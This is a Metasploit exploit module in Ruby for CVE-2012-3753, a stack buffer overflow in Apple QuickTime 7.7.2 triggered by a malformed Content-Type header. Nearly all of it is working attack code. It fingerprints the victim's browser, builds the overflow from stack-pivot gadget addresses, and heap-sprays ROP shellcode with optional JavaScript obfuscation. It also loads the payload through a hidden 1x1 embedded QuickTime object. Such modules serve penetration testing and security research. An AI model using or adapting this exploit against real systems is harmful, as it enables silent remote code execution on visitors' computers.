##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Egghunter
 include Msf::Exploit::RopDb

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({
  :os_name    => OperatingSystems::WINDOWS,
  :ua_name    => HttpClients::SAFARI,
  :ua_maxver  => '5.0.1',
  :ua_maxver  => '5.1.7',
  :javascript => true,
  :rank       => NormalRanking, # reliable memory corruption
  :vuln_test  => nil
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apple QuickTime 7.7.2 MIME Type Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Apple QuickTime 7.7.2. The stack
    based overflow occurs when processing a malformed Content-Type header. The module
    has been tested successfully on Safari 5.1.7 and 5.0.7 on Windows XP SP3.
   },
   'Author'         =>
    [
     'Pavel Polischouk', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-3753' ],
     [ 'OSVDB', '87088'],
     [ 'BID', '56438' ],
     [ 'URL', 'http://support.apple.com/kb/HT5581' ],
     [ 'URL', 'http://asintsov.blogspot.com.es/2012/11/heapspray.html' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     # Tested with QuickTime 7.7.2
     [ 'Automatic', {} ],
     [ 'Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2',
      {
       'OffsetFirstStackPivot' => 389,
       'OffsetSecondStackPivot' => 105,
       'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
       'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
       'SprayOffset' => 264,
       'SprayedAddress' => 0x60130124
      }
     ],
     [ 'Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2',
      {
       'OffsetFirstStackPivot' => 389,
       'OffsetSecondStackPivot' => 105,
       'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
       'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
       'SprayOffset' => 264,
       'SprayedAddress' => 0x60130124
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 07 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class
  )
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

  browser_name = ""
  if agent =~ /Safari/ and agent=~ /Version\/5\.1\.7/
   browser_name = "Safari 5.1.7"
  elsif agent =~ /Safari/ and agent=~ /Version\/5\.0\.5/
   browser_name = "Safari 5.0.5"
  end

  os_name = 'Windows XP SP3'

  targets.each do |t|
   if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
    print_status("Target selected as: #{t.name}")
    return t
   end
  end

  return nil
 end

 def on_request_uri(client, request)

  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  return if ((p = regenerate_payload(client)) == nil)

  if request.uri =~ /\.smil$/
   print_status("Sending exploit (target: #{my_target.name})")
   smil = rand_text_alpha(20)
   type = rand_text_alpha_lower(1)
   subtype = rand_text_alpha_lower(my_target['OffsetSecondStackPivot'])
   subtype << [my_target['SecondStackPivot']].pack("V")
   subtype << [my_target['SprayedAddress']].pack("V")
   subtype << rand_text_alpha_lower(my_target['OffsetFirstStackPivot'] - subtype.length)
   subtype << rand_text_alpha_lower(4)
   subtype << [my_target['FirstStackPivot']].pack("V")
   subtype << rand_text_alpha_lower(10000 - subtype.length)
   send_response(client, smil, { 'Content-Type' => "#{type}/#{subtype}" })
  else
   print_status("Sending initial HTML")
   url =  ((datastore['SSL']) ? "https://" : "http://")
   url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
   url << ":" + datastore['SRVPORT'].to_s
   url << get_resource
   fname = rand_text_alphanumeric(4)

   code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
   js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch))
   offset = rand_text(my_target['SprayOffset'])
   js_offset = Rex::Text.to_unescape(offset, Rex::Arch.endian(my_target.arch))
   fill = rand_text(4)
   js_fill = Rex::Text.to_unescape(fill, Rex::Arch.endian(my_target.arch))

   # Heap Spray based on http://asintsov.blogspot.com.es/2012/11/heapspray.html
   js = <<-JSSPRAY
function heapSpray(offset, shellcode, fillsled) {
 var chunk_size, headersize, fillsled_len, code;
 var i, codewithnum;
 chunk_size = 0x40000;
 headersize = 0x10;
 fillsled_len = chunk_size - (headersize + offset.length + shellcode.length);
 while (fillsled.length <fillsled_len)
  fillsled += fillsled;
 fillsled = fillsled.substring(0, fillsled_len);
 code = offset + shellcode + fillsled;
 heap_chunks = new Array();
 for (i = 0; i<1000; i++)
 {
  codewithnum = "HERE" + code;
  heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
 }
}
var myoffset = unescape("#{js_offset}");
var myshellcode = unescape("#{js_code}");
var myfillsled = unescape("#{js_fill}");
heapSpray(myoffset,myshellcode,myfillsled);
   JSSPRAY

   if datastore['OBFUSCATE']
    js = ::Rex::Exploitation::JSObfu.new(js)
    js.obfuscate
   end

   content =  "<html>"
   content << "<head><script>"
   content << "#{js}"
   content << "</script></head>"
   content << "<body>"
   content << <<-ENDEMBED
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
WIDTH="1"
HEIGHT="1"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
<PARAM name="SRC"        VALUE = "#{url}/#{fname}.smil">
<PARAM name="QTSRC"      VALUE = "#{url}/#{fname}.smil">
<PARAM name="AUTOPLAY"   VALUE = "true"               >
<PARAM name="TYPE"       VALUE = "video/quicktime"    >
<PARAM name="TARGET"     VALUE = "myself"             >
<EMBED
 SRC        = "#{url}/#{fname}.smil"
 QTSRC      = "#{url}/#{fname}.smil"
 TARGET     = "myself"
 WIDTH      = "1"
 HEIGHT     = "1"
 AUTOPLAY   = "true"
 PLUGIN     = "quicktimeplugin"
 TYPE       = "video/quicktime"
 CACHE      = "false"
 PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
</EMBED>
</OBJECT>
   ENDEMBED
   content << "</body></html>"
   send_response(client, content, { 'Content-Type' => "text/html" })
  end

  # Handle the payload
  handler(client)
 end

end